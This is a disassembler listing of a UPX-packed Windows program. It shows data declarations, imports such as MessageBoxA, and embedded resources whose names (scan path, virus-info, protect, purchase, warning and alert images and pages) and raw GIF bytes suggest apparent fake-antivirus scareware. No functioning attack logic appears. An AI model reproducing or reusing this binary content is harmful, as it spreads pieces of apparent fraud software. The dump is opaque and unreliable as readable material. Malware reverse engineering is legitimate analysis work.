dword_42ED74	dd 0		; resolved to->USER32.MessageBoxA					; sub_413890+126r
dword_42ED78	dd 0		; resolved to->USER32.GetProcessWindowStation					; sub_413890:loc_413941r
dword_42ED7C	dd 0		; resolved to->USER32.MessageBoxA					; sub_413890+BAr ...
		dd 0Fh dup(0)
dword_42EDBC	dd 1							; sub_414C04+3Cw ...
dword_42EDC0	dd 1							; sub_414FEE+39w ...
dword_42EDC4	dd 31h dup(0)						; UPX0:off_42AE08o ...
dword_42EE88	dd 0							; sub_41676F+43w ...
byte_42EE8C	db 0			; DATA XREF: sub_40AA1C+18w
					; sub_40AA42+96w ...
		align 10h
dword_42EE90	dd 0							; sub_401BB2+161r ...
dword_42EE94	dd 4 dup(0)						; sub_417692+22o ...
dword_42EEA4	dd 0		dword_42EEA8	dd 0							; sub_404725+33w ...
dword_42EEAC	dd 0							; sub_404725+3Dw ...
dword_42EEB0	dd 80h dup(0)	byte_42F0B0	db 0			; DATA XREF: sub_417588+11r
					; sub_417588+B4w ...
		align 4
dword_42F0B4	dd 0							; UPX0:0041C815w ...
dword_42F0B8	dd 0				dd 2 dup(0)
dword_42F0C4	dd 7 dup(0)	dword_42F0E0	dd 0		dword_42F0E4	dd 0							; sub_416FB1+5r ...
dword_42F0E8	dd 0							; sub_407ACF:loc_407B30r
word_42F0EC	dw 0			; DATA XREF: sub_407ACF+13w
					; sub_407ACF:loc_407B4Fr
		align 10h
dword_42F0F0	dd 0		word_42F0F4	dw 0			; DATA XREF: sub_407ACF+20w
		align 4
dword_42F0F8	dd 0		word_42F0FC	dw 0			; DATA XREF: sub_407ACF+29w
		align 10h
dword_42F100	dd 0		word_42F104	dw 0			; DATA XREF: sub_407ACF+58w
		align 4
dword_42F108	dd 0		dword_42F10C	dd 9 dup(0)	dword_42F130	dd 0		byte_42F134	db 0			; DATA XREF: sub_418F1D:loc_41905Br
		align 4
dword_42F138	dd 953508h						; sub_41191C+42w ...
		align 10h
dword_42F140	dd 400h	dup(0)						; UPX0:0042A458o
dword_430140	dd 200h							; sub_41191C:loc_411936w ...
dword_430144	dd 1							; sub_40CA30+28r ...
dword_430148	dd 20h							; sub_40FA31+CDw ...
		dd 5 dup(0)
dword_430160	dd 9520B0h						; sub_40FA31+37w ...
		dd 3Fh dup(0)
dword_430260	dd 0		dword_430264	dd 1							; sub_415A57+5r
dword_430268	dd 0FBBEBE5Bh						; sub_40B649+A8w ...
dword_43026C	dd 0FBBEBE5Bh						; sub_40B649+8Fw ...
dword_430270	dd 1		dword_430274	dd 0							; sub_40DB8F+66o ...
dword_430278	dd 0							; sub_40D00C+2BCr ...
dword_43027C	dd 0							; sub_40D00C+2CAr ...
dword_430280	dd 0							; sub_40B8A1+6Cr ...
dword_430284	dd 0							; sub_40D7BB:loc_40D801r ...
dword_430288	dd 0							; sub_40D322:loc_40D357w
dword_43028C	dd 0							; sub_40D00C+24Br ...
dword_430290	dd 1							; sub_40AEA5:loc_40AEE0r ...
dword_430294	dd 142340h						; sub_40F568:loc_40F57Br ...
		align 1000h
UPX0		ends

; Section 2. (virtual address 00031000)
; Virtual size			: 00040000 ( 262144.)
; Section size in file		: 00040000 ( 262144.)
; Offset to raw	data for section: 00031000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 431000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_431000	dd 268h	dup(0)			dd offset sub_410015+1
aCtivateButtonB:
		unicode	0, <CTIVATE-BUTTON-BG.GIF>
		dd offset loc_41000E
		dd offset dword_45004C
		dw 52h
aTIcon_gif:
		unicode	0, <T-ICON.GIF>
		dd offset locret_410014
		dd offset dword_45004C
aRtIconSmall_gi:
		unicode	0, <RT-ICON-SMALL.GIF>
		dw 9
		unicode	0, <ARROW.GIF>
		dd offset dword_42F140+0ED0h
		dw 4Ch
aOseButton_gif:
		unicode	0, <OSE-BUTTON.GIF>
		dd offset dword_42F140+0ED5h
aOntentHeaderBg:
		unicode	0, <ONTENT-HEADER-BG.GIF>
		dd offset dword_42F140+0ED2h
aOntentHeader_g:
		unicode	0, <ONTENT-HEADER.GIF>
		dd offset dword_42F140+0ED9h
		dw 4Fh
aNtentLeftcolum:
		unicode	0, <NTENT-LEFTCOLUMN-BG.GIF>
		dd offset dword_42F140+0EDAh
		dw 4Fh
aNtentRigthcolu:
		unicode	0, <NTENT-RIGTHCOLUMN-BG.GIF>
		dd offset dword_42F140+0ED3h
aUrrentstateBg_:
		unicode	0, <URRENTSTATE-BG.GIF>
		dd offset byte_440011
aOwnloadIcon_jp:
		unicode	0, <OWNLOAD-ICON.JPG>
		dw 0Dh
		unicode	0, <FOOTER-BG.GIF>
		dw 0Dh
		unicode	0, <HEADER-BG.GIF>
		dd 48000Fh, 410045h, 450044h, 2D0052h, 430049h,	4E004Fh
		dd 47002Eh, 460049h, 4C000Dh, 47004Fh, 2D004Fh,	430049h
		dd 4E004Fh, 47002Eh, 460049h, 4D000Bh, 4E0045h,	2D0055h
		dd 470042h, 47002Eh, 460049h, 4D0014h, 4E0045h,	2D0055h
		dd 470042h, 53002Dh, 4C0045h, 430045h, 450054h,	2E0044h
		dd 490047h, 90046h, 4F0050h, 4E0049h, 2E0054h, 490047h
		dd 130046h, 450052h, 55005Ah, 54004Ch, 54002Dh,	420041h
		dd 45004Ch, 42002Dh, 2E0047h, 490047h, 180046h,	450052h
		dd 55005Ah, 54004Ch, 54002Dh, 420041h, 45004Ch,	48002Dh
		dd 410045h, 2D0044h, 470042h, 47002Eh, 460049h,	53001Bh
		dd 410043h, 45004Eh, 2D0052h, 430041h, 490054h,	4E004Fh
		dd 42002Dh, 540055h, 4F0054h, 2D004Eh, 470042h,	47002Eh
		dd 460049h, 530010h, 410043h, 2D004Eh, 410050h,	480054h
		dd 42002Dh, 2E0047h, 490047h, 120046h, 430053h,	4E0041h
		dd 50002Dh, 540041h, 2D0048h, 430049h, 4E004Fh,	47002Eh
		dd 460049h, 530016h, 410043h, 2D004Eh, 410050h,	480054h
		dd 54002Dh, 54004Fh, 4C0041h, 42002Dh, 2E0047h,	490047h
		dd 160046h, 430053h, 4E0041h, 50002Dh, 4F0052h,	520047h
		dd 530045h, 2D0053h, 430049h, 4E004Fh, 47002Eh,	460049h
		dd 53001Ah, 410043h, 2D004Eh, 520050h, 47004Fh,	450052h
		dd 530053h, 53002Dh, 410043h, 45004Ch, 42002Dh,	2E0047h
		dd 490047h, 200046h, 430053h, 4E0041h, 50002Dh,	4F0052h
		dd 520047h, 530045h, 2D0053h, 430053h, 4C0041h,	2D0045h
		dd 470042h, 47002Dh, 450052h, 4E0045h, 50002Eh,	47004Eh
		dd 54000Ch, 420041h, 2D0031h, 490050h, 2E0043h,	490047h
		dd 0C0046h, 410054h, 320042h, 50002Dh, 430049h,	47002Eh
		dd 460049h, 54000Ch, 420041h, 2D0033h, 490050h,	2E0043h
		dd 490047h, 0C0046h, 410054h, 340042h, 50002Dh,	430049h
		dd 47002Eh, 460049h, 54000Ch, 420041h, 2D0035h,	490050h
		dd 2E0043h, 490047h, 0F0046h, 500055h, 2D0044h,	410042h
		dd 450053h, 42002Dh, 2E0047h, 490047h, 140046h,	490056h
		dd 550052h, 490053h, 46004Eh, 2D004Fh, 430041h,	490054h
		dd 450056h, 47002Eh, 460049h, 560010h, 520045h,	490053h
		dd 4E004Fh, 49002Dh, 4F0043h, 2E004Eh, 4E0050h,	140047h
		dd 480054h, 450052h, 540041h, 2D0053h, 4F0054h,	410054h
		dd 2D004Ch, 470042h, 47002Eh, 460049h, 50000Bh,	4F0052h
		dd 450054h, 540043h, 47002Eh, 460049h, 50000Ch,	520055h
		dd 480043h, 530041h, 2E0045h, 490047h, 130046h,	550050h
		dd 430052h, 410048h, 450053h, 41002Dh, 540043h,	560049h
		dd 2E0045h, 490047h, 0F0046h, 550053h, 450052h,	41002Dh
		dd 540043h, 560049h, 2E0045h, 490047h, 0B0046h,	410057h
		dd 4E0052h, 4E0049h, 2E0047h, 490047h, 120046h,	410057h
		dd 4E0052h, 4E0049h, 2D0047h, 430041h, 490054h,	450056h
		dd 47002Eh, 460049h, 42000Ch, 470049h, 4C0041h,	520045h
		dd 2E0054h, 490047h, 0C0046h, 45004Eh, 410054h,	45004Ch
		dd 540052h, 47002Eh, 460049h, 53000Eh, 41004Dh,	4C004Ch
		dd 4C0041h, 520045h, 2E0054h, 490047h, 0C0046h,	45004Eh
		dd 410054h, 45004Ch, 540052h, 48002Eh, 4D0054h,	410009h
		dd 45004Ch, 540052h, 48002Eh, 4D0054h, 48000Ch,	4D0054h
		dd 4D004Ch, 490041h, 2E004Eh, 540048h, 0C004Dh,	550050h
		dd 430052h, 410048h, 450053h, 48002Eh, 4D0054h,	4A0002h
		dd 0E0053h, 540048h, 4C004Dh, 4F0043h, 54004Eh,	4F0052h
		dd 2E004Ch, 53004Ah, 3 dup(0)
		dd 38464947h, 0BE6139h,	0F1E7001Ch, 885B00h, 5C0E885Ah
		dd 895B0089h, 18A5D10h,	5D038B5Eh, 8D5F138Ch, 68E6004h
		dd 62098F61h, 90610B90h, 0D916319h, 62009265h, 93671A91h
		dd 1B926300h, 68109365h, 93640094h, 195691Ch, 6A129467h
		dd 95680396h, 1F956613h, 6B159669h, 976A0697h, 8986C16h
		dd 6E219769h, 986B2296h, 19996C18h, 6D0C9A6Eh, 986F1B9Ah
		dd 1C9B6E2Dh, 6F2E9970h, 9D711D9Ch, 149E7212h, 73299C75h
		dd 9C74159Fh, 2A9D7631h, 762B9E77h, 9F78339Eh, 349F772Ch
		dd 793B9F75h, 0A17B2DA0h, 2EA17A25h, 7C3DA177h,	0A07D26A2h
		dd 3EA2783Dh, 7E27A37Dh, 0A47F3EA1h, 46A27E29h,	8039A47Ch
		dd 0A57D2AA5h, 2BA6813Ah, 8142A583h, 0A68449A5h, 3DA78643h
		dd 8744A785h, 0A9883EA8h, 4CA9843Fh, 853FAB82h,	0AB894DAAh
		dd 47AB8840h, 854EAB86h, 0AC8A55ABh, 48AC8941h,	864FAC87h
		dd 0AD8B56ACh, 44AE8C42h, 8F4AAE8Bh, 0AF8A3DAFh, 3EB09052h
		dd 8C4CB08Dh, 0B18E53B0h, 62B1904Dh, 8F4FB390h,	0B29556B3h
		dd 5DB29356h, 9263B291h, 0B59264B3h, 5FB49552h,	9753B694h
		dd 0B79A61B6h, 62B7985Bh, 995BB994h, 0BB9863B8h, 64BA9A57h
		dd 995EBA9Dh, 0B99F58BCh, 65BB9B6Bh, 0A06BBB9Ah, 0BC9E6CBAh
		dd 66BC9C5Fh, 9F72BB9Fh, 0BBA260BDh, 67BD9E6Dh,	0A073BCA0h
		dd 0BE9F61BEh, 74BDA168h, 0A262BFA1h, 0BEA075BEh, 63C0A27Ch
		dd 0A56AC0A1h, 0C1A470BFh, 6BC1A264h, 0A771C0A6h, 0C1A372C1h
		dd 7FC0A97Fh, 0AA73C2A8h, 0C4A78BBFh, 6EC4A567h, 0A980C1AAh
		dd 0C0AB74C3h, 68C5A88Ch, 0AC81C2ABh, 0C4AA6FC4h, 69C6A975h
		dd 0AA88C2B0h, 0C5AC7EC6h, 7FC7AB8Ah, 0B085C6AFh, 0C8AE73C8h
		dd 6CCAAC79h, 0AD91C5B1h, 0C8B16DCBh, 7ACAB087h, 0B36ECCAEh
		dd 0C9AD93C7h, 82CBAF93h, 0B783CAB6h, 0CEB18FC9h, 89CBB471h
		dd 0B27DCDB3h, 0CCB572CFh, 78CEB68Ah, 0B991CBB9h, 0CEB786CEh
		dd 74D0BA8Ch, 0B57AD0B8h, 0CFBA75D2h, 8DCFB887h, 0B799CEB9h
		dd 0D3B682D1h, 8FD1BA76h, 0B77DD3BBh, 0D2BD77D5h, 96D2B98Ah
		dd 0BD7ED4BCh, 0D5BD9DD1h, 99D3C17Fh, 0C287D7BDh, 0D4C09AD4h
		dd 8ED6C2A0h, 0BE81D8C0h, 0D9C188D8h, 83DAC282h, 0C39DD7C5h
		dd 0DAC7A3D8h, 8CDBC88Bh, 0CB92DBC6h, 0DCC9A5D8h, 0A6DBC68Dh
		dd 0C9A0DBC9h, 0DFCA95DEh, 0A8DCCE96h, 0D09DDFC8h, 0DECC97DEh
		dd 0A9DECAA3h, 0CF97E0CBh, 0E0D09EDFh, 9FE2CA9Fh, 0D3ABDFD2h
		dd 0E3D0A1E2h, 0AFE2D5A7h, 0D7A9E5D3h, 0E6D4B1E4h, 0B2E6D8AAh
		dd 0DBB9E5DDh, 0E7D7BFE5h, 0B3E7DAB9h, 0D9B4E8DBh, 0E9DCBBE9h
		dd 0BCEADBB5h, 0DEBCE9E0h, 0EBDCC3E9h, 0C4EADFBDh, 0Bh dup(0FFFFFFFFh)
		dd 4F921FFh, 0FF000A01h, 2C00h,	0BE0000h, 800001Ch, 9FF00FEh
		dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 789C4A23h
		dd 77BC1CD0h, 43A5D6ECh, 0C79D2E87h, 8A43208Fh,	0A4B2491Ch
		dd 532893C9h, 0B2C95CAAh, 0EB8EC8A5h, 6783BDD8h, 76B9A1CEh
		dd 0DB79C2E9h, 34DB2D96h, 4DACD69Fh, 0A8B44A1Bh, 9348A3D1h
		dd 0B4CA5D2Ah, 50A7D3A9h, 4A0D46A3h, 6F36E7B4h,	2BB5D2E1h
		dd 0BA9DD0B7h, 3DA4DB71h, 0ACAC7643h, 0D368B3D9h, 0B6CB5DAAh
		dd 70B7DBADh, 4B9DCAE3h, 66322E17h, 5385B8D2h, 39E14F07h
		dd 0FD98DA72h, 0D6EBA5FAh, 0CB2592Dh, 0B8CC5E2Bh, 90C7E3B1h
		dd 4C9E4B23h, 0CBE5B2B9h, 0BE271D98h, 0AFD7ABA5h, 9DC4D565h
		dd 5BEE0853h, 62B96333h, 0AAA53AA9h, 0B0D7EBB5h, 4D9ECB63h
		dd 0DBEDB6BBh, 0DEEB73B8h, 6B36DBCDh, 3582B958h, 614E06FBh
		dd 6CC46BB7h, 89E50AB1h, 0D04F2713h, 4E9F4BA3h,	0EBF5BABDh
		dd 0DF6BB3D8h, 0F7BBBDCEh, 0FE9DD7EFh, 0CAC50A7Bh, 0DD6BB116h
		dd 0B68B5214h, 4A26952Bh, 822D1690h, 0FDBEBF44h, 0EBF3F8FBh
		dd 0BFBFCFDFh, 600FFFFh, 0FB80E028h, 250907C9h,	4BB2A49Ah
		dd 0E428D834h, 6CB3324Ch, 80200922h, 8507D1F4h,	0E1A86618h
		dd 0E8761C86h, 862087E1h, 2488E228h, 87E26896h,	0C8C85216h
		dd 324AE26h, 8CA428Dh, 8124CA53h, 1AC6E1B4h, 0E3A1B86Bh
		dd 0E8F63C8Eh, 6408FE3h, 4490E429h, 91E46916h, 24192648h
		dd 11B46E8Eh, 0A424C8h,	0C3428CA3h, 210982F0h, 0C651A46Dh
		dd 0E9765C96h, 866097E5h, 6498E629h, 99E66996h,	26A9A668h
		dd 41B4699Ah, 0CB82588h, 0B42F90A3h, 19C7B24Ch,	45916C5Dh
		dd 0E9F45B16h, 6809FE7h, 84A0E82Ah, 0A1E86A16h,	0E8AA2688h
		dd 0BA128CA2h, 9C5D16E7h, 0AF238781h, 2D50A2F8h, 86A214ABh
		dd 0C1405517h, 84501304h, 0A4A8EA2Ah, 0A9EA6A96h, 0EAAAA6A8h
		dd 0EAB6ACAAh, 0B0FEABEAh, 1429FAA2h, 86A17C55h, 0A2D4A820h
		dd 0DC9F2B50h, 4C168641h, 10C43114h, 0EC6B1445h, 0AB26C8B1h
		dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6C3B32D4h, 415C4C11h
		dd 0B49F1DC6h, 992990A2h, 144601BCh, 43D0FC43h,	0ABA43F0Fh
		dd 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h, 7BC2F8BDh
		dd 44430FEEh, 991C45F1h, 2250A298h, 8401607Dh, 0A068210Ah
		dd 370CC2F0h, 10C3F0ECh, 0C4F12C47h, 0F16C5714h, 7C6718C5h
		dd 0F8280871h, 891B4560h, 1B486428h, 8270EC54h,	0ACA41206h
		dd 0B72CCAF2h, 30CBF2ECh, 0CCF32CC7h, 0F36CD734h, 0ACDB38CDh
		dd 503B09C1h, 8542B201h, 0D8541D0h, 0C0F06824h,	0AD2748D1h
		dd 374CD2F4h, 50D3F4EDh, 0D4F52D47h, 356D5754h,	60901AD5h
		dd 186D11C3h, 471C3402h, 54220D0h, 0A0280Ch, 0ADA76803h
		dd 0B76CDAF6h, 70DBF6EDh, 0DCF72DC7h, 0F76DD774h, 0CD9B6FDDh
		dd 2205FE40h, 1B0470CCh, 8242885h, 0F0C8471Bh, 140A0541h
		dd 8CD98050h, 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h
		dd 8AE4F9AEh, 7C1502Bh,	86C12432h, 0A1F90A20h, 7C2F1186h
		dd 0ACE280C0h, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh
		dd 0CEE7BAEh, 1102D07Ch, 10A1F868h, 0C114681Fh,	13890642h
		dd 0CCEEC040h, 0F3FCEF37h, 0BB8F47D0h, 0C05F8AF2h, 0F06610C2h
		dd 2BF17C31h, 1005060h,	0FE200800h, 6F97E4F8h, 0A7E8F9FEh
		dd 0ECFAFEAFh, 0FBFEEFB7h, 3EBFC7F0h, 9063CB00h, 8661042h
		dd 7723509Fh, 7830134h,	80180Eh, 1003h,	880F010h, 1702A04Ch
		dd 3A06C0C8h, 8C1081F0h, 482704A0h, 10220AC1h, 0E0140600h
		dd 1801600h, 0DE12817h,	2888508Dh, 2506211Ah, 1804A0C4h
		dd 1D0A8070h, 0BA1580B0h, 8C3085F0h, 48670CA1h,	0F0DA1AC3h
		dd 0A1CC3886h, 0C308770Eh, 8550B405h, 41181884h, 610940Ch
		dd 21628844h, 1E448895h, 210520B8h, 370740F0h, 6E0D41C0h
		dd 581A8370h, 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh
		dd 4648C718h, 8AD15232h, 0F01D037h, 2E04E084h, 9511A1E4h
		dd 3A228868h, 1C4B8A31h, 0C87C0FE2h, 0A0EA1E43h, 0F1FA3EC7h
		dd 0A40C808Fh, 0C8490720h, 90F21A42h, 22A44C88h, 3AC7E917h
		dd 7F0F91F0h, 4625C438h, 504789D1h, 0CC9892E4h,	0C93726A4h
		dd 242A4EC9h, 3B0020h, 0
		dd 38464947h, 156139h, 0C6E70012h, 201D1C00h, 26252322h
		dd 39372726h, 443A373Eh, 46574139h, 4A494947h, 544E4E4Fh
		dd 5B5A5756h, 6071615Ch, 78616121h, 75696465h, 66653366h
		dd 346F817Bh, 6F4A6F7Ah, 706E6F6Fh, 25728775h, 75767372h
		dd 76767675h, 7A77777Ah, 957B7777h, 7A7B187Ah, 7F7B7B7Bh
		dd 7F618183h, 8080837Fh, 60848584h, 84888484h, 889D8886h
		dd 2B89A32Dh, 988C8888h, 8A8A3E8Ch, 398E9D8Dh, 9A469098h
		dd 8D8C4390h, 358EAE90h, 93928F8Fh, 93929393h, 959596ABh
		dd 951B98BDh, 0A0BDA298h, 0AF9E9D17h, 0DA17A2CBh, 9FD700A0h
		dd 13A3D114h, 0B00DA1DBh, 0A9BF3DA9h, 3EA5C826h, 0DA0EA4DCh
		dd 0A6A613A5h, 11A6DBADh, 0DE1EA6DBh, 0A7DB03A8h, 21A7DB1Eh
		dd 0D213A9DCh, 0AADD15ACh, 0B2AAA811h, 0E103ACDDh, 0AEDF0CACh
		dd 29AEDD12h, 0D50FB3DEh, 0B0E853AFh, 0B2B1B213h, 0E63AB7C7h
		dd 0B4E10BB3h, 33BAC211h, 0E0B6B2B2h, 0BAC611B6h, 1BB7DF3Dh
		dd 0DF38BCC6h, 0B5B314B9h, 3AB5E2BEh, 0B63BB5E2h, 0B6E6BAB6h
		dd 18B9E532h, 0EB1EBAE0h, 0BBE009B9h, 0DBCE217h, 0E119BCDFh
		dd 0B8E333B9h, 7BEE33Ch, 0E31DBDE1h, 0B8B911BEh, 36B9E8C9h
		dd 0D611BFE1h, 0BEE43DBEh, 0BDBAB915h, 0CB3ABAE6h, 0C1E079BDh
		dd 0A6BCC015h, 0CA18C1E0h, 0BCBC34C5h, 11C2EDC3h, 0C016C4E8h
		dd 0C1E9B5C0h, 73BEDF34h, 0E70CC7E4h, 0BFD136C2h, 0A2C4C597h
		dd 0E829C7E6h, 0C6E238C5h, 0BEC3C340h, 0E8D3C2C2h, 0C8CA3CC6h
		dd 0A1C7D7B5h, 0EE69CFD1h, 0CAEA34CCh, 0CEC8C855h, 0CFDAC8C6h
		dd 0CBD4B0CAh, 62CEDE9Ch, 0E121CFF1h, 0C9D58DC9h, 0BECBCEB1h
		dd 0E124D3EAh, 0CEE196CCh, 28D4EE89h, 0E1DBCDCBh, 0D5F293CEh
		dd 16DBE423h, 0DB98CEE4h, 0CFCE62D7h, 0CBCFD3D8h, 0F395D0E3h
		dd 0D8EA1FD8h, 10DFE73Fh, 0E69CD2E7h, 0DCED98D3h, 0C7D4DB2Ch
		dd 0EAA0D5EBh, 0DADC9CD6h, 0A1D7EBA5h, 0DD9AD7EEh, 0D9EDBDDAh
		dd 0A4D8EF9Fh, 0ED32E2F6h, 0DCDC52E2h, 26E6F7D3h, 0EF8CE1E8h
		dd 0DCF341E7h, 3CE5F9A3h, 0E89FE1E5h, 0DFF488E4h, 0A3DFF5A3h
		dd 0F625EBF9h, 0F0F67EE4h, 0C5E3E91Ch, 0F450ECF3h, 0E9F535EFh
		dd 5FAFFBCh, 0FF88F1FBh, 2Bh dup(0FFFFFFFFh), 4F921FFh
		dd 0FF000A01h, 2C00h, 150000h, 8000012h, 9FF00FEh, 0CBD0381Ch
		dd 1308820Fh, 4803D412h, 6B81C3A1h, 0F2830912h,	5FA1E1D0h
		dd 0A8BD74C4h, 2790B088h, 516C9C52h, 957048E2h,	741D101Dh
		dd 0F241A314h, 5460A7DFh, 8148301Eh, 46C9180Bh,	69657AB9h
		dd 288540A0h, 0CE38775Fh, 4AEB4592h, 36260402h,	31561A05h
		dd 0B153AD53h, 803818A2h, 45991222h, 1ABA1EA0h,	0ED30955h
		dd 0E0460301h, 95A49299h, 208C850Ch, 6793A9F5h,	24020006h
		dd 0C2112CC4h, 47C29504h, 7994DA73h, 83816463h,	148E5218h
		dd 907C1B1h, 0D06E4242h, 0A562D18Ch, 380A0689h,	91F10094h
		dd 8224C6E3h, 49A8E45Bh, 980B0613h, 0B00A011Ah,	8243278h
		dd 0AA4E1E91h, 4833A40Ch, 7E412191h, 108198F6h,	2E1B0781h
		dd 0F9C4CE5Dh, 3FC267F2h, 692E8E38h, 0D54A650Ah, 58BC5DABh
		dd 0AA9582DDh, 924B2754h, 0B811C110h, 0E0642E1h, 5894421Eh
		dd 8B4602E1h, 93E2213h,	0C150C070h, 17F8482h, 3B0001h
		dd 0
		dd 38464947h, 0E6139h, 56C6000Dh, 2F404300h, 4F244952h
		dd 4E5A3C4Bh, 37586226h, 664C585Bh, 6062405Dh, 5D636551h
		dd 72636F70h, 77906571h, 2179931Ah, 82627A7Bh, 86878281h
		dd 39FDA86h, 0E010A7DDh, 0ABDE06ABh, 1FABDF0Dh,	0DC19ACE3h
		dd 0ADDF11AFh, 0A2AEB01Fh, 0E41EADE1h, 0B2B218AFh, 14B6DAB1h
		dd 0E115B4E1h, 0B6E60FB6h, 1AB7DC05h, 0E1BBB3B3h, 0BCE113BAh
		dd 8FBABA08h, 0E3B9B7B6h, 0BAC14DB7h, 82BAD0A3h, 0DC1CBEE9h
		dd 0BFE626C1h, 98BCCB1Dh, 0D926C3DCh, 0C2E747C1h, 12C4E71Bh
		dd 0C082C1CCh, 0C7E3BFC1h, 2CC9E01Fh, 0CDA2C7C8h, 0D2D8A1C8h
		dd 23D3DA24h, 0DF8EC8DCh, 0CBCB8BCAh, 33D3E5C1h, 0D167CCEBh
		dd 0CCE59BD0h, 7CCEEA8Eh, 0F450D7DDh, 0D9E639D3h, 8BD1E028h
		dd 0F187D0EBh, 0D8E720D9h, 0C4D3D454h, 0EF7AD5ECh, 0D8DD8BD4h
		dd 84D6ED99h, 0F377DAE5h, 0D9F28DD7h, 89DCF686h, 0EF40E8EBh
		dd 0E8F591E1h, 91E5EB44h, 0FF42FBFFh, 1Fh dup(0FFFFFFFFh)
		dd 4F921FFh, 7F000A01h,	2C00h, 0E0000h,	700000Dh, 827F806Dh
		dd 85858483h, 85862435h, 0E555121h, 373E838Ah, 7F904B38h
		dd 0A0D413Bh, 54901847h, 34080943h, 53488A52h, 2A05073Ch
		dd 4D862742h, 2002D46h,	853D1F20h, 1C303336h, 12160401h
		dd 25832C1Ah, 1E22232Eh, 11130C0Bh, 820F2610h, 292B2F31h
		dd 1706031Dh, 28151419h, 4944327Fh, 3A504F4Ch, 454A4E39h
		dd 961B3F40h, 3B008185h, 38464947h, 1D6139h, 4DC6001Dh
		dd 8F8F8F00h, 92919191h, 93939292h, 95959593h, 97969696h
		dd 98989797h, 99999998h, 9B9A9A9Ah, 9C9C9B9Bh, 9D9D9D9Ch
		dd 9F9E9E9Eh, 0A0A09F9Fh, 0A1A1A1A0h, 0A3A2A2A2h, 0A4A4A3A3h
		dd 0A5A5A5A4h, 0A7A6A6A6h, 0A8A8A7A7h, 0A9A9A9A8h, 0ABAAAAAAh
		dd 0ACACABABh, 0ADADADACh, 0AFAEAEAEh, 0B0B0AFAFh, 0B1B1B1B0h
		dd 0B3B2B2B2h, 0B4B4B3B3h, 0B5B5B5B4h, 0B8B7B7B7h, 0B9B9B8B8h
		dd 0BABABAB9h, 0BCBBBBBBh, 0BDBDBCBCh, 0BEBEBEBDh, 0C0BFBFBFh
		dd 0C1C1C0C0h, 0C2C2C2C1h, 0C4C3C3C3h, 0C5C5C4C4h, 0C6C6C6C5h
		dd 0C8C7C7C7h, 0C9C9C8C8h, 0CACACAC9h, 0CCCBCBCBh, 0CDCDCCCCh
		dd 0CECECECDh, 0D1CFCFCFh, 0D2D2D1D1h, 0D3D3D3D2h, 0D7D5D5D5h
		dd 0D8D8D7D7h, 0D9D9D9D8h, 0DBDADADAh, 0DFDFDBDBh, 0E0E0E0DFh
		dd 0E2E1E1E1h, 0E5E5E2E2h, 0EEEEEEE5h, 26h dup(0FFFFFFFFh)
		dd 4F921FFh, 7F000A01h,	2C00h, 1D0000h,	700001Dh, 827F80FEh
		dd 1F828483h, 8A898520h, 25247F8Bh, 8A918C1Eh, 202A4A3Dh
		dd 44999288h, 1F2E474Ch, 3F92991Fh, 3547494Bh, 8CA11B1Eh
		dd 4346483Bh, 19233742h, 45358AAAh, 3B3D3F41h, 161B2A36h
		dd 403084B4h, 3336393Dh, 223A3431h, 0D0B9113h, 1311100Eh
		dd 0C52C1513h, 2F303032h, 233D2F2Eh, 120D8C10h,	1C1C1915h
		dd 32291E1Bh, 2C2D2DDBh, 3E2B2A2Bh, 238B112Ah, 383935DCh
		dd 2BEF3034h, 0A05229F0h, 84A26138h, 16121B8Ch,	2A1E224h
		dd 11440C5h, 78740455h,	12896082h, 68A04224h, 0A14100F1h
		dd 5E0A261Ah, 0C4022124h, 3A1D0F07h, 0E1E0EB98h, 261249D0h
		dd 816A141Ch, 0B86032Ah, 0A8542C16h, 34C28140h,	8201109h
		dd 43015A1Dh, 7AD31221h, 73D9E4F6h, 42A00482h, 0B068381Fh
		dd 66048160h, 9D3C3C84h, 0D39A74A0h, 482141A7h,	4160C06Dh
		dd 91E0B05h, 0F6C0885Dh, 75B65029h, 0A54EC561h,	22AD60EAh
		dd 5283710Ah, 0C1F62090h, 200BB258h, 68B07864h,	8038180h
		dd 0F0482410h, 7040440h, 50301973h, 3030110h, 503A7F60h
		dd 0C1565C90h, 12150A02h, 41A3FE60h, 9D38282h, 3AC05C18h
		dd 0C58402BAh, 205C1608h, 84505A3Ch, 380E0706h,	507B5D08h
		dd 22070503h, 7BD02050h, 41040250h, 541F1403h, 0E5E5C240h
		dd 80080083h, 9FFABD4Eh, 3B0040h, 38464947h, 186139h, 10840018h
		dd 0E6E6E600h, 0EDE8E8E8h, 0EFEFEDEDh, 0F0F0F0EFh, 0F2F1F1F1h
		dd 0F5F5F2F2h, 0F6F6F6F5h, 0F9F8F8F8h, 0FAFAF9F9h, 0FBFBFBFAh
		dd 0FDFCFCFCh, 0FEFEFDFDh, 0FFFFFFFEh, 0Bh dup(0FFFFFFFFh)
		dd 4F921FFh, 1F000A01h,	2C00h, 180000h,	5000018h, 8E27E061h
		dd 689E6964h, 0EB6CAEAAh, 0A4F2E5BEh, 902EB2CDh, 8ABAE26Dh
		dd 4404A523h, 0A4062E1h, 1840223h, 9F004073h, 1301A400h
		dd 598F863Dh, 6EE90455h, 0F7C85D47h, 1C2478D3h,	0F4796D8Eh
		dd 8F18BEA0h, 766048C1h, 92481A1Dh, 215C01A1h, 7727071Ah
		dd 3D08297Dh, 63840926h, 8E8D8C8Bh, 3B00212Dh, 0
		dd 38464947h, 2926139h,	0FFE70028h, 825B2200h, 2F8F6825h
		dd 71258A67h, 0A073299Dh, 299A7233h, 752C9D76h,	9F782CA2h
		dd 2FA77B22h, 7E23A578h, 0A27B30A4h, 27A87A33h,	7D33AA7Eh
		dd 0AA7C35A4h, 29AD802Bh, 7F35A882h, 0AB7E37A6h, 39A78037h
		dd 8234AD7Fh, 0AA842CA2h, 43A98238h, 862EA87Fh,	0A98044ACh
		dd 3AA58438h, 8145AA83h, 0AB843BAAh, 43B1833Eh,	8639A583h
